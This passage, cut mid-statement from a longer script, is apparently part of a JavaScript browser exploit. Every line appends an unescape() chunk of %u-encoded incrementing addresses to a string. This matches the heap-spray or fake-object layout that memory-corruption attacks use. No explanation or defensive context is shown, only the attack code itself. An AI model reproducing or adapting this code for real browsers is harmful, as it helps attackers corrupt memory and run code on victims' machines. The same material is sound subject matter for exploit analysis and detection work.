unescape(\"%u0000%u50c0%u0000%u50c4%u0000%u50c8%u0000%u50cc%u0000%u50d0%u0000%u50d4%u0000%u50d8%u0000%u50dc%u0000%u50e0%u0000%u50e4%u0000%u50e8%u0000%u50ec%u0000%u50f0%u0000%u50f4%u0000%u50f8%u0000%u50fc\");\n    str    += unescape(\"%u0000%u5100%u0000%u5104%u0000%u5108%u0000%u510c%u0000%u5110%u0000%u5114%u0000%u5118%u0000%u511c%u0000%u5120%u0000%u5124%u0000%u5128%u0000%u512c%u0000%u5130%u0000%u5134%u0000%u5138%u0000%u513c\");\n    str    += unescape(\"%u0000%u5140%u0000%u5144%u0000%u5148%u0000%u514c%u0000%u5150%u0000%u5154%u0000%u5158%u0000%u515c%u0000%u5160%u0000%u5164%u0000%u5168%u0000%u516c%u0000%u5170%u0000%u5174%u0000%u5178%u0000%u517c\");\n    str    += unescape(\"%u0000%u5180%u0000%u5184%u0000%u5188%u0000%u518c%u0000%u5190%u0000%u5194%u0000%u5198%u0000%u519c%u0000%u51a0%u0000%u51a4%u0000%u51a8%u0000%u51ac%u0000%u51b0%u0000%u51b4%u0000%u51b8%u0000%u51bc\");\n    str    += unescape(\"%u0000%u51c0%u0000%u51c4%u0000%u51c8%u0000%u51cc%u0000%u51d0%u0000%u51d4%u0000%u51d8%u0000%u51dc%u0000%u51e0%u0000%u51e4%u0000%u51e8%u0000%u51ec%u0000%u51f0%u0000%u51f4%u0000%u51f8%u0000%u51fc\");\n    str    += unescape(\"%u0000%u5200%u0000%u5204%u0000%u5208%u0000%u520c%u0000%u5210%u0000%u5214%u0000%u5218%u0000%u521c%u0000%u5220%u0000%u5224%u0000%u5228%u0000%u522c%u0000%u5230%u0000%u5234%u0000%u5238%u0000%u523c\");\n    str    += unescape(\"%u0000%u5240%u0000%u5244%u0000%u5248%u0000%u524c%u0000%u5250%u0000%u5254%u0000%u5258%u0000%u525c%u0000%u5260%u0000%u5264%u0000%u5268%u0000%u526c%u0000%u5270%u0000%u5274%u0000%u5278%u0000%u527c\");\n    str    += unescape(\"%u0000%u5280%u0000%u5284%u0000%u5288%u0000%u528c%u0000%u5290%u0000%u5294%u0000%u5298%u0000%u529c%u0000%u52a0%u0000%u52a4%u0000%u52a8%u0000%u52ac%u0000%u52b0%u0000%u52b4%u0000%u52b8%u0000%u52bc\");\n    str    += unescape(\"%u0000%u52c0%u0000%u52c4%u0000%u52c8%u0000%u52cc%u0000%u52d0%u0000%u52d4%u0000%u52d8%u0000%u52dc%u0000%u52e0%u0000%u52e4%u0000%u52e8%u0000%u52ec%u0000%u52f0%u0000%u52f4%u0000%u52f8%u0000%u52fc\");\n    str    += unescape(\"%u0000%u5300%u0000%u5304%u0000%u5308%u0000%u530c%u0000%u5310%u0000%u5314%u0000%u5318%u0000%u531c%u0000%u5320%u0000%u5324%u0000%u5328%u0000%u532c%u0000%u5330%u0000%u5334%u0000%u5338%u0000%u533c\");\n    str    += unescape(\"%u0000%u5340%u0000%u5344%u0000%u5348%u0000%u534c%u0000%u5350%u0000%u5354%u0000%u5358%u0000%u535c%u0000%u5360%u0000%u5364%u0000%u5368%u0000%u536c%u0000%u5370%u0000%u5374%u0000%u5378%u0000%u537c\");\n    str    += unescape(\"%u0000%u5380%u0000%u5384%u0000%u5388%u0000%u538c%u0000%u5390%u0000%u5394%u0000%u5398%u0000%u539c%u0000%u53a0%u0000%u53a4%u0000%u53a8%u0000%u53ac%u0000%u53b0%u0000%u53b4%u0000%u53b8%u0000%u53bc\");\n    str    += unescape(\"%u0000%u53c0%u0000%u53c4%u0000%u53c8%u0000%u53cc%u0000%u53d0%u0000%u53d4%u0000%u53d8%u0000%u53dc%u0000%u53e0%u0000%u53e4%u0000%u53e8%u0000%u53ec%u0000%u53f0%u0000%u53f4%u0000%u53f8%u0000%u53fc\");\n    str    += unescape(\"%u0000%u5400%u0000%u5404%u0000%u5408%u0000%u540c%u0000%u5410%u0000%u5414%u0000%u5418%u0000%u541c%u0000%u5420%u0000%u5424%u0000%u5428%u0000%u542c%u0000%u5430%u0000%u5434%u0000%u5438%u0000%u543c\");\n    str    += unescape(\"%u0000%u5440%u0000%u5444%u0000%u5448%u0000%u544c%u0000%u5450%u0000%u5454%u0000%u5458%u0000%u545c%u0000%u5460%u0000%u5464%u0000%u5468%u0000%u546c%u0000%u5470%u0000%u5474%u0000%u5478%u0000%u547c\");\n    str    += unescape(\"%u0000%u5480%u0000%u5484%u0000%u5488%u0000%u548c%u0000%u5490%u0000%u5494%u0000%u5498%u0000%u549c%u0000%u54a0%u0000%u54a4%u0000%u54a8%u0000%u54ac%u0000%u54b0%u0000%u54b4%u0000%u54b8%u0000%u54bc\");\n    str    += unescape(\"%u0000%u54c0%u0000%u54c4%u0000%u54c8%u0000%u54cc%u0000%u54d0%u0000%u54d4%u0000%u54d8%u0000%u54dc%u0000%u54e0%u0000%u54e4%u0000%u54e8%u0000%u54ec%u0000%u54f0%u0000%u54f4%u0000%u54f8%u0000%u54fc\");\n    str    += unescape(\"%u0000%u5500%u0000%u5504%u0000%u5508%u0000%u550c%u0000%u5510%u0000%u5514%u0000%u5518%u0000%u551c%u0000%u5520%u0000%u5524%u0000%u5528%u0000%u552c%u0000%u5530%u0000%u5534%u0000%u5538%u0000%u553c\");\n    str    += unescape(\"%u0000%u5540%u0000%u5544%u0000%u5548%u0000%u554c%u0000%u5550%u0000%u5554%u0000%u5558%u0000%u555c%u0000%u5560%u0000%u5564%u0000%u5568%u0000%u556c%u0000%u5570%u0000%u5574%u0000%u5578%u0000%u557c\");\n    str    += unescape(\"%u0000%u5580%u0000%u5584%u0000%u5588%u0000%u558c%u0000%u5590%u0000%u5594%u0000%u5598%u0000%u559c%u0000%u55a0%u0000%u55a4%u0000%u55a8%u0000%u55ac%u0000%u55b0%u0000%u55b4%u0000%u55b8%u0000%u55bc\");\n    str    += unescape(\"%u0000%u55c0%u0000%u55c4%u0000%u55c8%u0000%u55cc%u0000%u55d0%u0000%u55d4%u0000%u55d8%u0000%u55dc%u0000%u55e0%u0000%u55e4%u0000%u55e8%u0000%u55ec%u0000%u55f0%u0000%u55f4%u0000%u55f8%u0000%u55fc\");\n    str    += unescape(\"%u0000%u5600%u0000%u5604%u0000%u5608%u0000%u560c%u0000%u5610%u0000%u5614%u0000%u5618%u0000%u561c%u0000%u5620%u0000%u5624%u0000%u5628%u0000%u562c%u0000%u5630%u0000%u5634%u0000%u5638%u0000%u563c\");\n    str    += unescape(\"%u0000%u5640%u0000%u5644%u0000%u5648%u0000%u564c%u0000%u5650%u0000%u5654%u0000%u5658%u0000%u565c%u0000%u5660%u0000%u5664%u0000%u5668%u0000%u566c%u0000%u5670%u0000%u5674%u0000%u5678%u0000%u567c\");\n    str    += unescape(\"%u0000%u5680%u0000%u5684%u0000%u5688%u0000%u568c%u0000%u5690%u0000%u5694%u0000%u5698%u0000%u569c%u0000%u56a0%u0000%u56a4%u0000%u56a8%u0000%u56ac%u0000%u56b0%u0000%u56b4%u0000%u56b8%u0000%u56bc\");\n    str    += unescape(\"%u0000%u56c0%u0000%u56c4%u0000%u56c8%u0000%u56cc%u0000%u56d0%u0000%u56d4%u0000%u56d8%u0000%u56dc%u0000%u56e0%u0000%u56e4%u0000%u56e8%u0000%u56ec%u0000%u56f0%u0000%u56f4%u0000%u56f8%u0000%u56fc\");\n    str    += unescape(\"%u0000%u5700%u0000%u5704%u0000%u5708%u0000%u570c%u0000%u5710%u0000%u5714%u0000%u5718%u0000%u571c%u0000%u5720%u0000%u5724%u0000%u5728%u0000%u572c%u0000%u5730%u0000%u5734%u0000%u5738%u0000%u573c\");\n    str    += unescape(\"%u0000%u5740%u0000%u5744%u0000%u5748%u0000%u574c%u0000%u5750%u0000%u5754%u0000%u5758%u0000%u575c%u0000%u5760%u0000%u5764%u0000%u5768%u0000%u576c%u0000%u5770%u0000%u5774%u0000%u5778%u0000%u577c\");\n    str    += unescape(\"%u0000%u5780%u0000%u5784%u0000%u5788%u0000%u578c%u0000%u5790%u0000%u5794%u0000%u5798%u0000%u579c%u0000%u57a0%u0000%u57a4%u0000%u57a8%u0000%u57ac%u0000%u57b0%u0000%u57b4%u0000%u57b8%u0000%u57bc\");\n    str    += unescape(\"%u0000%u57c0%u0000%u57c4%u0000%u57c8%u0000%u57cc%u0000%u57d0%u0000%u57d4%u0000%u57d8%u0000%u57dc%u0000%u57e0%u0000%u57e4%u0000%u57e8%u0000%u57ec%u0000%u57f0%u0000%u57f4%u0000%u57f8%u0000%u57fc\");\n    str    += unescape(\"%u0000%u5800%u0000%u5804%u0000%u5808%u0000%u580c%u0000%u5810%u0000%u5814%u0000%u5818%u0000%u581c%u0000%u5820%u0000%u5824%u0000%u5828%u0000%u582c%u0000%u5830%u0000%u5834%u0000%u5838%u0000%u583c\");\n    str    += unescape(\"%u0000%u5840%u0000%u5844%u0000%u5848%u0000%u584c%u0000%u5850%u0000%u5854%u0000%u5858%u0000%u585c%u0000%u5860%u0000%u5864%u0000%u5868%u0000%u586c%u0000%u5870%u0000%u5874%u0000%u5878%u0000%u587c\");\n    str    += unescape(\"%u0000%u5880%u0000%u5884%u0000%u5888%u0000%u588c%u0000%u5890%u0000%u5894%u0000%u5898%u0000%u589c%u0000%u58a0%u0000%u58a4%u0000%u58a8%u0000%u58ac%u0000%u58b0%u0000%u58b4%u0000%u58b8%u0000%u58bc\");\n    str    += unescape(\"%u0000%u58c0%u0000%u58c4%u0000%u58c8%u0000%u58cc%u0000%u58d0%u0000%u58d4%u0000%u58d8%u0000%u58dc%u0000%u58e0%u0000%u58e4%u0000%u58e8%u0000%u58ec%u0000%u58f0%u0000%u58f4%u0000%u58f8%u0000%u58fc\");\n    str    += unescape(\"%u0000%u5900%u0000%u5904%u0000%u5908%u0000%u590c%u0000%u5910%u0000%u5914%u0000%u5918%u0000%u591c%u0000%u5920%u0000%u5924%u0000%u5928%u0000%u592c%u0000%u5930%u0000%u5934%u0000%u5938%u0000%u593c\");\n    str    += unescape(\"%u0000%u5940%u0000%u5944%u0000%u5948%u0000%u594c%u0000%u5950%u0000%u5954%u0000%u5958%u0000%u595c%u0000%u5960%u0000%u5964%u0000%u5968%u0000%u596c%u0000%u5970%u0000%u5974%u0000%u5978%u0000%u597c\");\n    str    += unescape(\"%u0000%u5980%u0000%u5984%u0000%u5988%u0000%u598c%u0000%u5990%u0000%u5994%u0000%u5998%u0000%u599c%u0000%u59a0%u0000%u59a4%u0000%u59a8%u0000%u59ac%u0000%u59b0%u0000%u59b4%u0000%u59b8%u0000%u59bc\");\n    str    += unescape(\"%u0000%u59c0%u0000%u59c4%u0000%u59c8%u0000%u59cc%u0000%u59d0%u0000%u59d4%u0000%u59d8%u0000%u59dc%u0000%u59e0%u0000%u59e4%u0000%u59e8%u0000%u59ec%u0000%u59f0%u0000%u59f4%u0000%u59f8%u0000%u59fc\");\n    str    += unescape(\"%u0000%u5a00%u0000%u5a04%u0000%u5a08%u0000%u5a0c%u0000%u5a10%u0000%u5a14%u0000%u5a18%u0000%u5a1c%u0000%u5a20%u0000%u5a24%u0000%u5a28%u0000%u5a2c%u0000%u5a30%u0000%u5a34%u0000%u5a38%u0000%u5a3c\");\n    str    += unescape(\"%u0000%u5a40%u0000%u5a44%u0000%u5a48%u0000%u5a4c%u0000%u5a50%u0000%u5a54%u0000%u5a58%u0000%u5a5c%u0000%u5a60%u0000%u5a64%u0000%u5a68%u0000%u5a6c%u0000%u5a70%u0000%u5a74%u0000%u5a78%u0000%u5a7c\");\n    str    += unescape(\"%u0000%u5a80%u0000%u5a84%u0000%u5a88%u0000%u5a8c%u0000%u5a90%u0000%u5a94%u0000%u5a98%u0000%u5a9c%u0000%u5aa0%u0000%u5aa4%u0000%u5aa8%u0000%u5aac%u0000%u5ab0%u0000%u5ab4%u0000%u5ab8%u0000%u5abc\");\n    str    += unescape(\"%u0000%u5ac0%u0000%u5ac4%u0000%u5ac8%u0000%u5acc%u0000%u5ad0%u0000%u5ad4%u0000%u5ad8%u0000%u5adc%u0000%u5ae0%u0000%u5ae4%u0000%u5ae8%u0000%u5aec%u0000%u5af0%u0000%u5af4%u0000%u5af8%u0000%u5afc\");\n    str    += unescape(\"%u0000%u5b00%u0000%u5b04%u0000%u5b08%u0000%u5b0c%u0000%u5b10%u0000%u5b14%u0000%u5b18%u0000%u5b1c%u0000%u5b20%u0000%u5b24%u0000%u5b28%u0000%u5b2c%u0000%u5b30%u0000%u5b34%u0000%u5b38%u0000%u5b3c\");\n    str    += unescape(\"%u0000%u5b40%u0000%u5b44%u0000%u5b48%u0000%u5b4c%u0000%u5b50%u0000%u5b54%u0000%u5b58%u0000%u5b5c%u0000%u5b60%u0000%u5b64%u0000%u5b68%u0000%u5b6c%u0000%u5b70%u0000%u5b74%u0000%u5b78%u0000%u5b7c\");\n    str    += unescape(\"%u0000%u5b80%u0000%u5b84%u0000%u5b88%u0000%u5b8c%u0000%u5b90%u0000%u5b94%u0000%u5b98%u0000%u5b9c%u0000%u5ba0%u0000%u5ba4%u0000%u5ba8%u0000%u5bac%u0000%u5bb0%u0000%u5bb4%u0000%u5bb8%u0000%u5bbc\");\n    str    += unescape(\"%u0000%u5bc0%u0000%u5bc4%u0000%u5bc8%u0000%u5bcc%u0000%u5bd0%u0000%u5bd4%u0000%u5bd8%u0000%u5bdc%u0000%u5be0%u0000%u5be4%u0000%u5be8%u0000%u5bec%u0000%u5bf0%u0000%u5bf4%u0000%u5bf8%u0000%u5bfc\");\n    str    += unescape(\"%u0000%u5c00%u0000%u5c04%u0000%u5c08%u0000%u5c0c%u0000%u5c10%u0000%u5c14%u0000%u5c18%u0000%u5c1c%u0000%u5c20%u0000%u5c24%u0000%u5c28%u0000%u5c2c%u0000%u5c30%u0000%u5c34%u0000%u5c38%u0000%u5c3c\");\n    str    += unescape(\"%u0000%u5c40%u0000%u5c44%u0000%u5c48%u0000%u5c4c%u0000%u5c50%u0000%u5c54%u0000%u5c58%u0000%u5c5c%u0000%u5c60%u0000%u5c64%u0000%u5c68%u0000%u5c6c%u0000%u5c70%u0000%u5c74%u0000%u5c78%u0000%u5c7c\");\n    str    += unescape(\"%u0000%u5c80%u0000%u5c84%u0000%u5c88%u0000%u5c8c%u0000%u5c90%u0000%u5c94%u0000%u5c98%u0000%u5c9c%u0000%u5ca0%u0000%u5ca4%u0000%u5ca8%u0000%u5cac%u0000%u5cb0%u0000%u5cb4%u0000%u5cb8%u0000%u5cbc\");\n    str    += unescape(\"%u0000%u5cc0%u0000%u5cc4%u0000%u5cc8%u0000%u5ccc%u0000%u5cd0%u0000%u5cd4%u0000%u5cd8%u0000%u5cdc%u0000%u5ce0%u0000%u5ce4%u0000%u5ce8%u0000%u5cec%u0000%u5cf0%u0000%u5cf4%u0000%u5cf8%u0000%u5cfc\");\n    str    += unescape(\"%u0000%u5d00%u0000%u5d04%u0000%u5d08%u0000%u5d0c%u0000%u5d10%u0000%u5d14%u0000%u5d18%u0000%u5d1c%u0000%u5d20%u0000%u5d24%u0000%u5d28%u0000%u5d2c%u0000%u5d30%u0000%u5d34%u0000%u5d38%u0000%u5d3c\");\n    str    += unescape(\"%u0000%u5d40%u0000%u5d44%u0000%u5d48%u0000%u5d4c%u0000%u5d50%u0000%u5d54%u0000%u5d58%u0000%u5d5c%u0000%u5d60%u0000%u5d64%u0000%u5d68%u0000%u5d6c%u0000%u5d70%u0000%u5d74%u0000%u5d78%u0000%u5d7c\");\n    str    += unescape(\"%u0000%u5d80%u0000%u5d84%u0000%u5d88%u0000%u5d8c%u0000%u5d90%u0000%u5d94%u0000%u5d98%u0000%u5d9c%u0000%u5da0%u0000%u5da4%u0000%u5da8%u0000%u5dac%u0000%u5db0%u0000%u5db4%u0000%u5db8%u0000%u5dbc\");\n    str    += unescape(\"%u0000%u5dc0%u0000%u5dc4%u0000%u5dc8%u0000%u5dcc%u0000%u5dd0%u0000%u5dd4%u0000%u5dd8%u0000%u5ddc%u0000%u5de0%u0000%u5de4%u0000%u5de8%u0000%u5dec%u0000%u5df0%u0000%u5df4%u0000%u5df8%u0000%u5dfc\");\n    str    += unescape(\"%u0000%u5e00%u0000%u5e04%u0000%u5e08%u0000%u5e0c%u0000%u5e10%u0000%u5e14%u0000%u5e18%u0000%u5e1c%u0000%u5e20%u0000%u5e24%u0000%u5e28%u0000%u5e2c%u0000%u5e30%u0000%u5e34%u0000%u5e38%u0000%u5e3c\");\n    str    += unescape(\"%u0000%u5e40%u0000%u5e44%u0000%u5e48%u0000%u5e4c%u0000%u5e50%u0000%u5e54%u0000%u5e58%u0000%u5e5c%u0000%u5e60%u0000%u5e64%u0000%u5e68%u0000%u5e6c%u0000%u5e70%u0000%u5e74%u0000%u5e78%u0000%u5e7c\");\n    str    += unescape(\"%u0000%u5e80%u0000%u5e84%u0000%u5e88%u0000%u5e8c%u0000%u5e90%u0000%u5e94%u0000%u5e98%u0000%u5e9c%u0000%u5ea0%u0000%u5ea4%u0000%u5ea8%u0000%u5eac%u0000%u5eb0%u0000%u5eb4%u0000%u5eb8%u0000%u5ebc\");\n    str    += unescape(\"%u0000%u5ec0%u0000%u5ec4%u0000%u5ec8%u0000%u5ecc%u0000%u5ed0%u0000%u5ed4%u0000%u5ed8%u0000%u5edc%u0000%u5ee0%u0000%u5ee4%u0000%u5ee8%u0000%u5eec%u0000%u5ef0%u0000%u5ef4%u0000%u5ef8%u0000%u5efc\");\n    str    += unescape(\"%u0000%u5f00%u0000%u5f04%u0000%u5f08%u0000%u5f0c%u0000%u5f10%u0000%u5f14%u0000%u5f18%u0000%u5f1c%u0000%u5f20%u0000%u5f24%u0000%u5f28%u0000%u5f2c%u0000%u5f30%u0000%u5f34%u0000%u5f38%u0000%u5f3c\");\n    str    += unescape(\"%u0000%u5f40%u0000%u5f44%u0000%u5f48%u0000%u5f4c%u0000%u5f50%u0000%u5f54%u0000%u5f58%u0000%u5f5c%u0000%u5f60%u0000%u5f64%u0000%u5f68%u0000%u5f6c%u0000%u5f70%u0000%u5f74%u0000%u5f78%u0000%u5f7c\");\n    str    += unescape(\"%u0000%u5f80%u0000%u5f84%u0000%u5f88%u0000%u5f8c%u0000%u5f90%u0000%u5f94%u0000%u5f98%u0000%u5f9c%u0000%u5fa0%u0000%u5fa4%u0000%u5fa8%u0000%u5fac%u0000%u5fb0%u0000%u5fb4%u0000%u5fb8%u0000%u5fbc\");\n    str    += unescape(\"%u0000%u5fc0%u0000%u5fc4%u0000%u5fc8%u0000%u5fcc%u0000%u5fd0%u0000%u5fd4%u0000%u5fd8%u0000%u5fdc%u0000%u5fe0%u0000%u5fe4%u0000%u5fe8%u0000%u5fec%u0000%u5ff0%u0000%u5ff4%u0000%u5ff8%u0000%u5ffc\");\n    str    += unescape(\"%u0000%u6000%u0000%u6004%u0000%u6008%u0000%u600c%u0000%u6010%u0000%u6014%u0000%u6018%u0000%u601c%u0000%u6020%u0000%u6024%u0000%u6028%u0000%u602c%u0000%u6030%u0000%u6034%u0000%u6038%u0000%u603c\");\n    str    += unescape(\"%u0000%u6040%u0000%u6044%u0000%u6048%u0000%u604c%u0000%u6050%u0000%u6054%u0000%u6058%u0000%u605c%u0000%u6060%u0000%u6064%u0000%u6068%u0000%u606c%u0000%u6070%u0000%u6074%u0000%u6078%u0000%u607c\");\n    str    += unescape(\"%u0000%u6080%u0000%u6084%u0000%u6088%u0000%u608c%u0000%u6090%u0000%u6094%u0000%u6098%u0000%u609c%u0000%u60a0%u0000%u60a4%u0000%u60a8%u0000%u60ac%u0000%u60b0%u0000%u60b4%u0000%u60b8%u0000%u60bc\");\n    str    += unescape(\"%u0000%u60c0%u0000%u60c4%u0000%u60c8%u0000%u60cc%u0000%u60d0%u0000%u60d4%u0000%u60d8%u0000%u60dc%u0000%u60e0%u0000%u60e4%u0000%u60e8%u0000%u60ec%u0000%u60f0%u0000%u60f4%u0000%u60f8%u0000%u60fc\");\n    str    += unescape(\"%u0000%u6100%u0000%u6104%u0000%u6108%u0000%u610c%u0000%u6110%u0000%u6114%u0000%u6118%u0000%u611c%u0000%u6120%u0000%u6124%u0000%u6128%u0000%u612c%u0000%u6130%u0000%u6134%u0000%u6138%u0000%u613c\");\n    str    += unescape(\"%u0000%u6140%u0000%u6144%u0000%u6148%u0000%u614c%u0000%u6150%u0000%u6154%u0000%u6158%u0000%u615c%u0000%u6160%u0000%u6164%u0000%u6168%u0000%u616c%u0000%u6170%u0000%u6174%u0000%u6178%u0000%u617c\");\n    str    += unescape(\"%u0000%u6180%u0000%u6184%u0000%u6188%u0000%u618c%u0000%u6190%u0000%u6194%u0000%u6198%u0000%u619c%u0000%u61a0%u0000%u61a4%u0000%u61a8%u0000%u61ac%u0000%u61b0%u0000%u61b4%u0000%u61b8%u0000%u61bc\");\n    str    += unescape(\"%u0000%u61c0%u0000%u61c4%u0000%u61c8%u0000%u61cc%u0000%u61d0%u0000%u61d4%u0000%u61d8%u0000%u61dc%u0000%u61e0%u0000%u61e4%u0000%u61e8%u0000%u61ec%u0000%u61f0%u0000%u61f4%u0000%u61f8%u0000%u61fc\");\n    str    += unescape(\"%u0000%u6200%u0000%u6204%u0000%u6208%u0000%u620c%u0000%u6210%u0000%u6214%u0000%u6218%u0000%u621c%u0000%u6220%u0000%u6224%u0000%u6228%u0000%u622c%u0000%u6230%u0000%u6234%u0000%u6238%u0000%u623c\");\n    str    += unescape(\"%u0000%u6240%u0000%u6244%u0000%u6248%u0000%u624c%u0000%u6250%u0000%u6254%u0000%u6258%u0000%u625c%u0000%u6260%u0000%u6264%u0000%u6268%u0000%u626c%u0000%u6270%u0000%u6274%u0000%u6278%u0000%u627c\");\n    str    += unescape(\"%u0000%u6280%u0000%u6284%u0000%u6288%u0000%u628c%u0000%u6290%u0000%u6294%u0000%u6298%u0000%u629c%u0000%u62a0%u0000%u62a4%u0000%u62a8%u0000%u62ac%u0000%u62b0%u0000%u62b4%u0000%u62b8%u0000%u62bc\");\n    str    += unescape(\"%u0000%u62c0%u0000%u62c4%u0000%u62c8%u0000%u62cc%u0000%u62d0%u0000%u62d4%u0000%u62d8%u0000%u62dc%u0000%u62e0%u0000%u62e4%u0000%u62e8%u0000%u62ec%u0000%u62f0%u0000%u62f4%u0000%u62f8%u0000%u62fc\");\n    str    += unescape(\"%u0000%u6300%u0000%u6304%u0000%u6308%u0000%u630c%u0000%u6310%u0000%u6314%u0000%u6318%u0000%u631c%u0000%u6320%u0000%u6324%u0000%u6328%u0000%u632c%u0000%u6330%u0000%u6334%u0000%u6338%u0000%u633c\");\n    str    += unescape(\"%u0000%u6340%u0000%u6344%u0000%u6348%u0000%u634c%u0000%u6350%u0000%u6354%u0000%u6358%u0000%u635c%u0000%u6360%u0000%u6364%u0000%u6368%u0000%u636c%u0000%u6370%u0000%u6374%u0000%u6378%u0000%u637c\");\n    str    += unescape(\"%u0000%u6380%u0000%u6384%u0000%u6388%u0000%u638c%u0000%u6390%u0000%u6394%u0000%u6398%u0000%u639c%u0000%u63a0%u0000%u63a4%u0000%u63a8%u0000%u63ac%u0000%u63b0%u0000%u63b4%u0000%u63b8%u0000%u63bc\");\n    str    += unescape(\"%u0000%u63c0%u0000%u63c4%u0000%u63c8%u0000%u63cc%u0000%u63d0%u0000%u63d4%u0000%u63d8%u0000%u63dc%u0000%u63e0%u0000%u63e4%u0000%u63e8%u0000%u63ec%u0000%u63f0%u0000%u63f4%u0000%u63f8%u0000%u63fc\");\n    str    += unescape(\"%u0000%u6400%u0000%u6404%u0000%u6408%u0000%u640c%u0000%u6410%u0000%u6414%u0000%u6418%u0000%u641c%u0000%u6420%u0000%u6424%u0000%u6428%u0000%u642c%u0000%u6430%u0000%u6434%u0000%u6438%u0000%u643c\");\n    str    += unescape(\"%u0000%u6440%u0000%u6444%u0000%u6448%u0000%u644c%u0000%u6450%u0000%u6454%u0000%u6458%u0000%u645c%u0000%u6460%u0000%u6464%u0000%u6468%u0000%u646c%u0000%u6470%u0000%u6474%u0000%u6478%u0000%u647c\");\n    str    += unescape(\"%u0000%u6480%u0000%u6484%u0000%u6488%u0000%u648c%u0000%u6490%u0000%u6494%u0000%u6498%u0000%u649c%u0000%u64a0%u0000%u64a4%u0000%u64a8%u0000%u64ac%u0000%u64b0%u0000%u64b4%u0000%u64b8%u0000%u64bc\");\n    str    += unescape(\"%u0000%u64c0%u0000%u64c4%u0000%u64c8%u0000%u64cc%u0000%u64d0%u0000%u64d4%u0000%u64d8%u0000%u64dc%u0000%u64e0%u0000%u64e4%u0000%u64e8%u0000%u64ec%u0000%u64f0%u0000%u64f4%u0000%u64f8%u0000%u64fc\");\n    str    += unescape(\"%u0000%u6500%u0000%u6504%u0000%u6508%u0000%u650c%u0000%u6510%u0000%u6514%u0000%u6518%u0000%u651c%u0000%u6520%u0000%u6524%u0000%u6528%u0000%u652c%u0000%u6530%u0000%u6534%u0000%u6538%u0000%u653c\");\n    str    += unescape(\"%u0000%u6540%u0000%u6544%u0000%u6548%u0000%u654c%u0000%u6550%u0000%u6554%u0000%u6558%u0000%u655c%u0000%u6560%u0000%u6564%u0000%u6568%u0000%u656c%u0000%u6570%u0000%u6574%u0000%u6578%u0000%u657c\");\n    str    += unescape(\"%u0000%u6580%u0000%u6584%u0000%u6588%u0000%u658c%u0000%u6590%u0000%u6594%u0000%u6598%u0000%u659c%u0000%u65a0%u0000%u65a4%u0000%u65a8%u0000%u65ac%u0000%u65b0%u0000%u65b4%u0000%u65b8%u0000%u65bc\");\n    str    += unescape(\"%u0000%u65c0%u0000%u65c4%u0000%u65c8%u0000%u65cc%u0000%u65d0%u0000%u65d4%u0000%u65d8%u0000%u65dc%u0000%u65e0%u0000%u65e4%u0000%u65e8%u0000%u65ec%u0000%u65f0%u0000%u65f4%u0000%u65f8%u0000%u65fc\");\n    str    += unescape(\"%u0000%u6600%u0000%u6604%u0000%u6608%u0000%u660c%u0000%u6610%u0000%u6614%u0000%u6618%u0000%u661c%u0000%u6620%u0000%u6624%u0000%u6628%u0000%u662c%u0000%u6630%u0000%u6634%u0000%u6638%u0000%u663c\");\n    str    += unescape(\"%u0000%u6640%u0000%u6644%u0000%u6648%u0000%u664c%u0000%u6650%u0000%u6654%u0000%u6658%u0000%u665c%u0000%u6660%u0000%u6664%u0000%u6668%u0000%u666c%u0000%u6670%u0000%u6674%u0000%u6678%u0000%u667c\");\n    str    += unescape(\"%u0000%u6680%u0000%u6684%u0000%u6688%u0000%u668c%u0000%u6690%u0000%u6694%u0000%u6698%u0000%u669c%u0000%u66a0%u0000%u66a4%u0000%u66a8%u0000%u66ac%u0000%u66b0%u0000%u66b4%u0000%u66b8%u0000%u66bc\");\n    str    += unescape(\"%u0000%u66c0%u0000%u66c4%u0000%u66c8%u0000%u66cc%u0000%u66d0%u0000%u66d4%u0000%u66d8%u0000%u66dc%u0000%u66e0%u0000%u66e4%u0000%u66e8%u0000%u66ec%u0000%u66f0%u0000%u66f4%u0000%u66f8%u0000%u66fc\");\n    str    += unescape(\"%u0000%u6700%u0000%u6704%u0000%u6708%u0000%u670c%u0000%u6710%u0000%u6714%u0000%u6718%u0000%u671c%u0000%u6720%u0000%u6724%u0000%u6728%u0000%u672c%u0000%u6730%u0000%u6734%u0000%u6738%u0000%u673c\");\n    str    += unescape(\"%u0000%u6740%u0000%u6744%u0000%u6748%u0000%u674c%u0000%u6750%u0000%u6754%u0000%u6758%u0000%u675c%u0000%u6760%u0000%u6764%u0000%u6768%u0000%u676c%u0000%u6770%u0000%u6774%u0000%u6778%u0000%u677c\");\n    str    += unescape(\"%u0000%u6780%u0000%u6784%u0000%u6788%u0000%u678c%u0000%u6790%u0000%u6794%u0000%u6798%u0000%u679c%u0000%u67a0%u0000%u67a4%u0000%u67a8%u0000%u67ac%u0000%u67b0%u0000%u67b4%u0000%u67b8%u0000%u67bc\");\n    str    += unescape(\"%u0000%u67c0%u0000%u67c4%u0000%u67c8%u0000%u67cc%u0000%u67d0%u0000%u67d4%u0000%u67d8%u0000%u67dc%u0000%u67e0%u0000%u67e4%u0000%u67e8%u0000%u67ec%u0000%u67f0%u0000%u67f4%u0000%u67f8%u0000%u67fc\");\n    str    += unescape(\"%u0000%u6800%u0000%u6804%u0000%u6808%u0000%u680c%u0000%u6810%u0000%u6814%u0000%u6818%u0000%u681c%u0000%u6820%u0000%u6824%u0000%u6828%u0000%u682c%u0000%u6830%u0000%u6834%u0000%u6838%u0000%u683c\");\n    str    += unescape(\"%u0000%u6840%u0000%u6844%u0000%u6848%u0000%u684c%u0000%u6850%u0000%u6854%u0000%u6858%u0000%u685c%u0000%u6860%u0000%u6864%u0000%u6868%u0000%u686c%u0000%u6870%u0000%u6874%u0000%u6878%u0000%u687c\");\n    str    += unescape(\"%u0000%u6880%u0000%u6884%u0000%u6888%u0000%u688c%u0000%u6890%u0000%u6894%u0000%u6898%u0000%u689c%u0000%u68a0%u0000%u68a4%u0000%u68a8%u0000%u68ac%u0000%u68b0%u0000%u68b4%u0000%u68b8%u0000%u68bc\");\n    str    += unescape(\"%u0000%u68c0%u0000%u68c4%u0000%u68c8%u0000%u68cc%u0000%u68d0%u0000%u68d4%u0000%u68d8%u0000%u68dc%u0000%u68e0%u0000%u68e4%u0000%u68e8%u0000%u68ec%u0000%u68f0%u0000%u68f4%u0000%u68f8%u0000%u68fc\");\n    str    += unescape(\"%u0000%u6900%u0000%u6904%u0000%u6908%u0000%u690c%u0000%u6910%u0000%u6914%u0000%u6918%u0000%u691c%u0000%u6920%u0000%u6924%u0000%u6928%u0000%u692c%u0000%u6930%u0000%u6934%u0000%u6938%u0000%u693c\");\n    str    += 